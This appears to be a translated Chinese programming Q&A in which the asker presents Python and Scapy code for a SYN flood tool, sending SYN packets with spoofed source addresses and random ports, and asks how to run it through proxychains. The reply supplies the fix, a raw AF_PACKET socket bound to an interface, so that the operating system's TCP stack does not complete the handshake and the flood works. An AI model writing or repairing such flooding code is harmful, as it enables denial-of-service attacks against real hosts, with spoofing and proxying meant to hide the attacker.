如何修复:使用SYN标志定义数据包,并使用PSH,ACK标志发送



我正在编写一个执行 SYN 洪水攻击的渗透测试工具。攻击完美有效,直到我尝试使用自己的套接字加快数据包发送速度:

import socket
import scapy
silva = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#silva.connect((destinationnew, targetport)) With this the attack does not work
silva.send(bytes(IP(dst = str(destinationnew), src = str(Ip_range), ttl=int(random.randint(80, 254)))/TCP(dport = int(targetport), sport = int(random.randint(1024, 65535)), flags = "S")))

该脚本以原子方式执行三次握手,然后发送 PSH、ACK 数据包

-> 我希望脚本使用套接字稍后通过代理链运行它,但我不知道如何建立一个只能通过它发送 SYN 数据包的套接字。

您正在尝试在正常 TCP 流之外执行一些低级操作,因此需要使用原始套接字:

silva = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
silva.bind(("en0", 0)) # or eth0 or whatever your interface is

然后发送 SYN 数据包,TCP 机器不会接管并执行 ACK 和其他您不想要的事情。

请注意,您可能需要在本地操作系统上获得一些其他权限才能启用原始套接字创建。

最新更新